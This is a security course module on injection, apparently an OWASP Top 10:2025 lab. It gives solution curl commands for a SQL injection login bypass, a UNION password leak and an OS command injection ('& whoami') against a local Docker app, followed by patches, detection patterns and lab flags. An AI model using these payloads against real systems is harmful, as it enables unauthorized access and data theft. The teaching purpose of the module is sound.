OWASP Top 10:2025 Course — Module 5 of 10. Course home · Previous: Module 4 — Cryptographic Failures · Next: Module 6 — Insecure Design
Learn first: what is Injection
Injection (A05:2025) happens whenever untrusted input gets concatenated into a command interpreter — SQL, a shell, an OS command — instead of being passed as data the interpreter can’t confuse with code. This module chains two classic forms together, because in the real world they often show up in the same codebase: SQL injection to break authentication and steal data, then OS command injection to turn that access into arbitrary code execution.
Client input: username = admin'--
│
▼
SQL built by string concat:
SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
└─ comments out the password check
Client input: host = "127.0.0.1 & whoami"
│
▼
subprocess with shell=True:
ping 127.0.0.1 & whoami <- shell treats "&" as "run next command"
Parameterized queries and subprocess.run([...], shell=False) with an allowlist close both, without losing any real functionality.
Scenario briefing
You’re pentesting Acme Intranet, a small internal tool with a login form and an admin "ping a host" diagnostic feature — the kind of tool that gets built in an afternoon and never revisited.
Lab setup
- Download: Download the lab (zip)
- Prerequisites: Docker Engine 20+, Docker Compose v2.
- Start it:
cd owasp-a05-injection-lab docker compose up -d --build - Check it worked:
curl -s http://127.0.0.1:5000/should return the login page HTML.
Missions
Mission 1 — SQLi authentication bypass. Log in as admin without knowing the password.
Show solution
Solution — Mission 1
curl -s -c cj.txt -d "username=admin'--&password=anything" http://127.0.0.1:5000/
curl -s -b cj.txt http://127.0.0.1:5000/dashboard
The '-- closes the string and comments out the rest of the query, so the server runs SELECT ... WHERE username='admin'--' AND password='anything' — the password clause never executes. You’re redirected straight to the admin dashboard.
Mission 2 — extract the admin’s real password via UNION. Without using the bypass above, leak the actual admin password through the login form itself.
Show solution
Solution — Mission 2
curl -s -c cj2.txt \
--data-urlencode "username=' UNION SELECT username, password FROM users WHERE username='admin' --" \
--data-urlencode "password=x" http://127.0.0.1:5000/
curl -s -b cj2.txt http://127.0.0.1:5000/dashboard | grep -i "Role:"
The UNION branch substitutes the admin’s real password into the page’s "Role" field. Submit FLAG{a05-leaked-admin-password-S3cureAdminPass} once you’ve confirmed the leaked value.
Mission 3 — OS command injection via the admin ping tool. Using an admin session (from either mission above), abuse /ping.
Show solution
Solution — Mission 3
curl -s -b cj.txt -X POST http://127.0.0.1:5000/ping --data-urlencode "host=127.0.0.1 & whoami"
The response includes the ping output and the output of whoami — proof of arbitrary command execution on the server, not just a data leak. Submit FLAG{a05-ran-whoami-as-root} once you see the command’s user in the response.
Mission 4 — patch both bugs. Parameterize the SQL query and replace the shell ping with an allowlisted subprocess.run.
Show solution
Solution — Mission 4
user = conn.execute("SELECT username, role FROM users WHERE username=? AND password=?",
(username, password)).fetchone()
import re, subprocess
if not re.fullmatch(r"[A-Za-z0-9.\-]+", host):
return "Rejected: host must be a plain hostname or IP address.", 400
subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True)
Restart the after service with your changes and run python3 lab.py verify — all four checks pass, and a legitimate host=127.0.0.1 ping still works.
Hints
--data-urlencodematters for the UNION payload — the raw apostrophes and spaces need proper URL encoding or the server won’t see the query you intended.- The
after/app on:5001already has the fix; compare your own patch against it, don’t just copy it in. - Command injection needs a valid admin session first — get that from mission 1 or 2 before attempting mission 3.
Fix it + re-test
Two independent, well-known fixes: parameterized queries (never string-format user input into SQL) and shell=False with an explicit allowlist (never pass raw user input to a shell). Re-run all three exploit payloads against the patched app — the SQLi payloads should return "Invalid credentials," and the command-injection payload should return a rejection message with no whoami output, while host=127.0.0.1 alone still works.
Detect it
Log every /ping host argument and every failed login attempt. Alert on SQL metacharacters (', --, UNION) appearing in a username field, and on shell metacharacters (;, &, |, ` `, $`) appearing in any field that reaches a subprocess call — these characters have no legitimate reason to appear in a hostname or username.
Quick self-check
- Why does
'--work specifically against string-concatenated SQL but not against a parameterized query? - Why is an allowlist (only letters, digits, dots, dashes) a stronger fix for the ping host than a denylist of dangerous characters?
- Why did the password-bypass exploit (mission 1) not actually reveal the admin’s password, while the UNION exploit (mission 2) did?
Show answers
Answers
- A parameterized query sends the user’s input as data bound to a placeholder, never as part of the SQL text the database parses — there’s no string for
'--to "break out of," because it’s never concatenated into the query at all. - Denylists have to anticipate every dangerous character or sequence, and attackers are good at finding ones you missed (encoding tricks, newlines, uncommon shell metacharacters); an allowlist only needs to define what a valid hostname looks like, which is a much smaller, stable set of rules.
- Mission 1’s
'--comments out the password check entirely, so the database never looks at the password column — it just returns the admin row. Mission 2’s UNION explicitly selects thepasswordcolumn into the response, which is what actually displays it on the page.